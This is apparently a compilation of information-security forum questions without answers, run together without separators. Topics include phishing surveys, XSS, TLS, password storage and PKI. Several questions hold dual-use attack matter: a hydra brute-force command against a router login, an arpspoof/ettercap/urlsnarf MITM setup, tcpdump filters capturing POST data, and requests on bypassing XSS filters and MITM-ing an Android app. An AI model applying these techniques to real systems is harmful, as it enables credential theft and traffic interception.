So I have a site where users can create online surveys and send them out to whomever they like. Over the past few months we have seen an uptick in one particular user who creates an account, then creates a survey where he requests user names and passwords for a different site. It's always the same site that he targets, and he always asks the same sorts of questions. Our best solution up until now has been to create a monitoring service that searches for potentially malicious surveys and then notifies us when they are found. We then go in and manually review the survey and lock the account if it's up to something shady. This has not been very effective. Even though the surveys are locked fairly quickly the malicious user still finds value in endlessly creating these surveys under new accounts and sending them out. The best idea I've come up with is to not allow a survey to be activated by the user if it contains suspect keywords. Require and admin to review and activate it. The problem with this is that there are many false positives that get picked up, so I would need to perform an action more often than I do now in order to let the legit surveys go live. Can anyone suggest an effective way to thwart this person without spending a chunk of my day performing manual tasks? Is there some way to fingerprint this user to prevent him from using our site for phishing?
Fed up with the following definition. Reflected attacks are those where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web site. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a "trusted" server Can somebody explain me with an example. And what is the main difference between Reflected XSS and Stored XSS?
I am very new to cryptography and I am confused with something. Here is the homework question I am having trouble with: Write a program to attack the Textbook RSA Encryption Scheme, in order to decrypt the encrypted file key_enc.txt which contains the 128 bits AES secret key together with the initialisation vector (IV) for Question 2. You must explain and show how the attack is done. The RSA parameters are as follows: N: 92001629535369949668182190680140710002429961412439471184834723194899969898404162 82428855806975402440064473888135838545187330646754494062187654035542047167435016 34608863342073173012508616123265965429721791336874605919036975439595316606713189 21259313523852555003517715050369476348174980850810194157624985747443 e: 65537 My questions are: is it possible to use the formula in the link to find the answer with such a big value? inside the link, the plaintext value is given but the homework didn't provide a plaintext. Do I need to guess it?
So I've made a tool for web developers and now I want to sell it, but I don't want all web developers to see my code (PHP). I do know there are PHP Obfuscators, but I don't want to use them, as they are not COMPLETELY 100% secure. I tried looking for a compiler for PHP (I know they aren't 100% secure as well, but they are more secure than an obfuscator,) but with no luck. Can someone offer alternatives other than using an obfuscator?
I have some job related files I have already compressed with 7Z. I have protected each with good 10 character passwords consisting of upper, and lower cases, numbers and special characters. And I have enabled header encryption of the filenames. I am not yet concerned about the physical security of my system or side channel attacks, but I have heard that GPUs are getting faster at bruteforcing even complex passwords. Another lesser concern is that the implementation of AES in 7Z might be vulnerable. But what if I encrypt the files with another symmetric cipher? My theory is that such a setup keeps me secure even if an adversary succeeds in bruteforcing the outer envelope or exploits a weakness in 7Z's implementation of AES. What's your take on the following method: 7za a -p -mhe myarchive.7z myfiles gpg --output myarchive.pgp --symmetric myarchive.7z I have read about meet in the middle attacks, but so far I understand the risk, it's only an issue if the adversary is able to reduce the key space by trying to decrypt key1 and key2 simultaneously. But will this be an issue if the outer envelope doesn't give any clues as to how the next layer is encrypted?
Can we trace the imei numbers of mobile devices in which SIM card was used previously, & if it was used in multiple mobile devices?
My organization is preparing to purchase some 50 "units" from Symantec, with which we can purchase Verisign SSL certificates of varying authentication levels. Our organization does not have--but definitely would like--the ability to send digitally signed e-mail to external business partners and clients, and use the same certificate to encrypt e-mail among other members of the organization. My question is this: Suppose we were to purchase one SSL certificate from Verisign--this certificate would be an intermediate of the root CA. But our organization could then use this for a Global PKI mail server (Say, SecureMail.OurCompany.com) for the purpose of issuing end user (leaf) certificates. Is this possible (does it even make sense)? Could we use the Verisign-issued certificate to then issue end user (leaf) certificates to incorporate into the company e-mail (MS Exchange) system? How would this be done? What software would one use to do issue end-user certificates this way?
Like damaging a chip on the motherboard, increase the fan's speed till something explodes, or anything similar to that. I am not an IT guru, but I never came across a malicious code that couldn't be erased using a certain software, nor a virus that caused something beyond corrupting the OS.
We are in the process of upgrading our webservers to support TLS 1.2 but I have heard rumor of very old browsers, such as those used as kiosks will fall over when trying to connect to a server that has TLS 1.2 support. Is this true? Or will every browser no matter how old and outdated just fallback to their supported TLS / SSL version? We have to support very old browsers for a number of reasons so I don't want to cause issues with latency or user experience when upgrading to support TLS 1.2. Thanks!
I wonder if some processes may get less packets than others if they are all listening to the same wireless interface. I'm running for example the basic mitm schema using arpspoof, sniffing packets with ettercap, running urlsnarf to see some GET requests and tcpdump saving the dump packets into a file. All in different terminals listening to wlan0.
Having /var/www/site.com owned by www-data:www-data with a 750 permission for directories and 640 for files, and having my user alexb added to www-data group, I found my self with permission issues when I try to pull new releases (git pull) to the testing environment. So, right now, the only solutions that come into my mind, are the following: alexb:www-data ownership for /var/www/site.com with the same 750 and 640 Stick to www-data:www-data, and a 750 and 640 permissions layout. Create a new user and group (staging-user:staging-group), give that new user real shell access and give assign the ownership of /var/www/site.com to them, with the initial 750 and 640 permissions layout, so that when I need to run so shell actions (git pull for example) I just switch user and do it. Now, the questions are: Which is worst? Any big thing that I might miss?
According to http://en.wikipedia.org/wiki/Transport_Layer_Security#Web_browsers most browsers support SSL 3.0. And with my understanding (please correct me if I am wrong), when a browser just establishes a connection with a HTTPS server, the browser sends a list of ciphers to the server in a preferred order, servers returns the list which it supports. I used the tool https://www.ssllabs.com/ssltest/viewMyClient.html to check different browsers, in cipher suites section I can see the list. I checked IE11, newest Chrome, newest Firefox but I don't see any ciphers begin with "SSL_" (I referenced to https://www.openssl.org/docs/apps/ciphers.html to get the TLS/SSL supported ciphers). So how can I tell that the browser supports SSL 3.0?
I frequently have to remind my members not to post their e-mails due to spam bots. One of them told me he doesn't care about that since his spam filter is good enough. If I allow him to do that, are there disadvantages to my website?
Where do 4096 bit RSA keys for SSL certs currently stand in terms of things like CA support, browser support, etc? In the overall scheme of things is the increased security worth the risk of 4096 bit keys not having the widespread support and compatibility as 2048 bit keys do, not to mention the increased CPU load required to process the key exchange? Are things slowly turning in favor of 4096?
I have passwords stored in my database that are very long, unique and generated by a CSPRNG. Do I need to use a salt before hashing them? My understanding is that usually you use a hash function in the following way: hash(salt + password) where the + is simply the concatenation of the 2 strings (or byte arrays). Since my passwords are already randomly generated, it's useless to prefix them with a salt which is another random value.
I'm trying to save only POST packets using tcpdump filter expressions. I started with 'tcp port 80' and I found on the web a specific expression to achieve that. tcpdump -i wlan0 -s 0 -A -vv 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354' Where 0x504f5354 means POST. That works, but when only saving packets instead of printing them on the standard output and opening it on Wireshark I get just a few random packets. Here's my command, tcpdump -i wlan0 -s 0 -A -w test.pcap 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354'
Some apps like Foursquare require the user to "check in" at physical places, in order to gain money benefits. Given that emulated GPS are available for customized versions of Android, it sounds easy to trick such apps. Given the monetary incentives, I am sure many people have tried, so how do apps prevent GPS cheating?
I connect to the internet using my company's Wi-Fi and Tor. Can they still see the websites I visit?
I am looking for JavaScript malware. I need it just for local tests on my computer for a project I am working on. Are there any Internet resources where I could find this?
I am new to pen-testing. Yesterday i analysed one android application using dex2jar application and i saw an android application implemented https connection using empty trust manager. class miTM implements javax.net.ssl.X509TrustManager{ public void checkServerTrusted(java.security.cert.X509Certificate[] certs, String authType) throws java.security.cert.CertificateException{ return; } In the above code checkServerTrusted method is empty so this application is vulnerable to MITM attacks. I created a certificate using openssl and installed vulnerable android application in emulator. Now how can i perform man in the middle attack in android emulator using sslsniff or any other tools?
I have a mobile banking application installed on my phone which allows me to pay for things, transfer money using my phone from my account to another etc. How safe or unsafe is this application? For example, what are the chances that I could get malware/virus/spyware/keylogger on my phone which could somehow record my bank details, or worse, steal my money and send my money to some foreign countries bank account? Is such a thing possible, or is this impossible, i.e. are all android applications sand-boxed or something, which makes it impossible for malware/virus/spyware/keyloggers to tap into another application on the same phone, i.e. the banking application? I am specifically talking about banking applications on android phones.
I installed a Windows XP virtual machine on VirtualBox. The host machine is also a Windows XP. I run 5 viruses on the guest machine, however this does not seem to infect my host machine. Could someone inform me why ?
In the past I have seen having a Google drive document and have FTP username/passwords there. Is storing passwords in Google drive a good practice?
I have some weird traffic heading outbound from my network. It is being blocked by the firewall from exiting and I'm not sure what the source is. I've looked at the machine and don't see anything blatant compromise-wise. What I've done on the machine: The box is Win7 Enterprise x64. I used Redline to capture a memory image and other data from a collector. I used the memory image and volatility to look at network connections, pstree etc. I used Redline for prefetch, URL history and other metadata. I see no history in volatility's netscan plugin regarding any of the IP's. I'm guessing this is because the firewall blocked it from making a full connection. I checked a large sample of the destination IP's on a few IP reputation sites and they're clean. I currently have three boxes with very similar but not identical activity. A new one pops up every week. None of them have happened twice. None of the boxes have P2P software on them. The traffic is UDP, mostly with a sourceport of 39156, Destination ports are high and vary. The traffic lasts different amounts of time per box..sometimes an hour and a half, other times 20 minutes. Destination IP's are all over the world - hundreds of them. Most of the packets contain 66 or 72 bytes of random characters - sometimes two, three or four of these UDP packets to each IP address...then it would move on to the next IP address... Any ideas? Thanks!
We all know a password should contain a healthy mixture of letters (upper and lower), numbers, and special characters. But does the randomness of their placement matter. Of course for letters it matters whether or not it spells a dictionary word, but lets say you have random letters, numbers, and characters. So a simple concrete example: Is klens4275 more or less secure kl7e25ns4? Notice they have all the same characters but the order appears more random in the second. But the key space is still the same, correct?
(Before everything excuse me because of my English) Today one of my friends asked me about his Nokia 130 Dual SIM. There was a problem about Short Message System. No Messages were sent from that phone. First I thought there is a problem with Message Center configuration. So, I checked it out. There was't any problem with SIM configuration and also with Second SIM. I ejected that SIM and put it in my rooted Samsung Galaxy Mini GT-S5570I. My phone rebooted. When I tried to have a call, some buttons where invisible and their size was changed; Also my lock screen image was transparent. There wans't any Reset option in settings. I think its important to say: There isn't any anti-virus on my phone. I reseted my phone from bootloader. After this scenario, I wanna repeat my question: Is there any way to transfer virus (or any other hack/crack software) from SIM Card and activate that on phones?
We are currently working on authentication for a web application. For password storage, we're using Jasypt StrongPasswordEncryptor with SHA-256 and tens of thousands of iterations. Going into the project, I had hoped to implement PBKDF2-HMAC-SHA512 (I do not believe I could get traction on a switch to bcrypt or scrypt). The Jasypt StrongPasswordEncryptor simply re-hashes the passed however many times specified using SHA-256 (or other algorithm chosen), instead of the HMAC iterations in PBKDF2. I understand that the security benefit of PBKDF2 is its slow speed, while SHA is fast. However, since PBKDF2 is simply reiterating HMAC-SHA (or some other function), it's hard to show an improvement over the current method. If the security improvement from the change is minimal, it is unlikely to be done. If there is a substantial security improvement, it's still early enough in the project to be made. What is it about HMAC-SHA that makes it better/slower than a normal SHA? What sort of information can I bring to a change request - how much of an improvement would there be? Is the change necessary?
I installed OpenSSL locally and used s_server command to start a server by using self signed certificate created by OpenSSL as well. The command I used to start a https server is OpenSSL> s_server -accept 443 -www -cert c:\temp\test_server.crt -key c:\temp\test_server.key. I pointed my own browser to it and I can see a list of supported ciphers from server, and selected ciphers (Ciphers common between both SSL end points). I am just curious is there a way to display the preferred cipher list sent by browser?
My question is based on this tweet after I commented about forbidding + symbols in email addresses. The tweet says, "This is a measure we've taken for security reasons." This can be frustrating and inconvenient for people that have (or use) plus signs in their email address, and I'm sure web sites don't intend to do that. I'm unaware of the security vulnerabilities related to using the + character; is this something I should change to improve my own security? What is the security reason for a web site to disallow that character on an email field? Update: Meetup Support responded positively. Turns out it's more of a UX issue than a security one. They clarified in this tweet that they disallow + to prevent spam (?) and they acknowledged a suggestion for improving the user experience. (My intent here was not to gripe about Meetup; let's be gentle! I wanted to make sure I was not missing something important in my own web sites that receive email addresses.)
The default method for updating flash is through Adobe's unsecured http portal, which seems to be a serious security concern, given the access that flash has on a user's machine. Can anyone recommend a secure way to update flash?
I don't trust Dropbox to keep my files secure. In fact, the same goes for all the other file clouds. What I'd like is a easy and cross platform means of encrypting files that I add and read from Dropbox. I'd love to be able to use Dropbox as if I'm mounting an encrypted partition. In other words, so I don't need to unencrypt a file to open it, or grep through it. And when I add or edit a file, it is automatically encrypted before being saved to Dropbox's server.
This Shamir Secret sharing utility consumes the secret key, and then generates N keys that must be manually distributed to each person. This is probably fine for most low-security situations, but not suitable in medium or high security scenarios where no-one can know all the keys, or the secret key that was created in the beginning. Given this new requirement, what pre-existing systems provision the Shamir secrets in a secure manner? How do they work? Is there add-in cryptography that makes the secure creation and distribution of Shamir Secrets more trustworthy?
Do these 2 terminologies refer to the same thing? https://www.owasp.org/index.php/Source_Code_Analysis_Tools http://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis#.NET Some of the tools overlap. Makes you wonder. If they are different can someone explain to me the differences.
Lately, I was reading that article about SSL client certificate. Why is nobody using SSL Client Certificate? The answer was to that question was : In the current state, this excellent idea is rendered completely useless by the awful usability and the completely detached nature: This is a browser feature. It's browser dependent without a way for the sites to control it - to guide users through steps. For this to work, sites need more control. Without giving them access to your keys. So basically, it's a usability problem. That made me think about cookies. Cookies are client side storage and there is nothing more easy to use than them. In fact, most users don't even know they exist. So, I thought that cookie might help here. The part I'm interested in is 2 factors authentication. Something that you know : your password Something that you have : your private key for the "certificate" Would it possible to use cookie in some clever way to provide 2 factors authenticate by storing a "certificate" in them?
If you get a disposable email from say guerrillamail.com, and then fill out the forgot my password page at dahorta.org/app/index.php/cliente/resgatar_senha, it emails you a link to reset your password. The url has a 40 character number which I think is a SHA-1 hash. I noticed that when you fill out the same email twice you get two different hashes. With multiple hashes, will it be possible to guess the algorithm?
Can a CSR be created in OpenSSL with SHA2? If so, what would the command be and what does this tell the CA, if anything? If you could create a CSR using SHA2 would it "tell" the signing CA to use it on the entire cert chain?
What are the use cases for defining something other than the default SHA1 hash in a CSR? Is it to protect the digital signature, public/private keys? What is it protecting exactly?
There are serious tools and services such as Google Safe Browsing for malicious and phishing websites, and others fully dedicated to phishing websites such as Phishing.org. What is done against these websites (especially the ones that distribute malware, with drive-by download attack, for instance) once they are publicly flagged so ? Are they blocked later or something like that ? For example there has been a multi-national action against the GameOver Zeus Botnet. Is there something like that against the malicious websites ?
I'm just wondering. How does iOS prevent someone from executing code on their device that isn't from Apple or downloaded from the App Store? Also what exactly, does a Jailbreak do to allow unauthorised code to be run on an iOS device? Also are the steps to Jailbreak a device repeatable when a new version of iOS is released? I was wondering because when a new version of iOS is released there is usually a Jailbreak within a few hours. I heard it was something to do with the security certificate that Apple gives to each of its developers, but I don't know anything more than that.
I've always contacted my bank and credit card provider every year and simply asked to change my credit card number itself (and get a new card). They do so without a hassle and I feel more secure in doing it. Does this actually provide better security? My thought process is that if a hacker steals or otherwise finds one of my old CC#s then it will not matter because it will not work. Is this in fact true? update: Pertaining to the USA. Also, I know this isnt explicitly InfoSec but I see loads of questions on here that are less IT related and more security in general.
in RFC 6749 The OAuth 2.0 Authorization Framework 2.3.1. Client Password definitely states that authentication at TokenEndpoint can be done in two alternate ways HTTP basic authentication - client_id:client_secret in the POST request-body, client_id={client_id}, client_secret={client_secret} While Facebook API demands a Get request with URL encoded parameters: GET https://graph.facebook.com/oauth/access_token? client_id={app-id} &redirect_uri={redirect-uri} &client_secret={app-secret} &code={code-parameter} Isn't this (non standard compliant way) exposing of client passwords in URL breaking security logic of AUTH2. And opening doors to vulnerabilities?
There are a lot of free antivirus software and free versions of commercial anti-malwares. Can we really trust these free antivirus programs? The same question about commercial antivirus software. Maybe they install backdoors on our computers?
What would be reason for placing a proxy server in a Demilitarized Zone (DMZ)? I understand that a DMZ is a separate network to your internal network (lies inbetween internal network and firewall). I know that you would add a computer which hosts services to the DMZ e.g. web server, to increase security (if your web server gets attacked, then your internal network will be safe). I have seen proxy servers in some business which are placed on the internal network and not the DMZ.
I've seen plenty of websites that, during the signup process, require me to verify my email address or cell phone number by clicking an emailed link or by entering some one-time-use code that's been sent to me. I generally find these systems a pain to use. For the email it's annoying to have a separate tab open up when I click the verification link, then my two tabs end up in different states. For the cell phone, I have to manually copy some six digit code from my phone into my web browser. Why not allow the user to just reply to the email or text as a verification step, instead of copying codes and links around? It seems technically pretty easy - you could put a nonce in the outgoing email and make sure it remains in the quoted part of the reply. Is there some security reason why this is not a good idea?
So when I do hydra -l Admin -P "rockyou.txt" -s 80 192.168.13.1 http-get / it doesn't work for me. It says all 16 passwords are valid, but none of them works. Can anyone help me with this? I tried googling and found others having this issue, but none of them were descriptive enough for me to resolve this. I'm using a D-Link DIR 655 router, and that's what I want to try to bruteforce, but all the passwords it tries are valid (16 for that matter).
Symbols like >, <, / etc are getting escaped any alternative to carry out the xss attack ? most of the websites are having xss filters
So I was analysing a new application that is being written. I noticed that on the app server level there are sql calls that are being made from C# code. These calls can be seen in wireshark by following the TCP stream from my machine. Is there any way to prevent a MITM from seeing this? The calls look something like this after wireshark reconstructs it: S.E.L.E.C.T. .V.A.R. .F.R.O.M. .T.A.B.L.E... Im not sure the protocols being used but clearly being able to see the plain text sql calls with variable names and table names is a problem.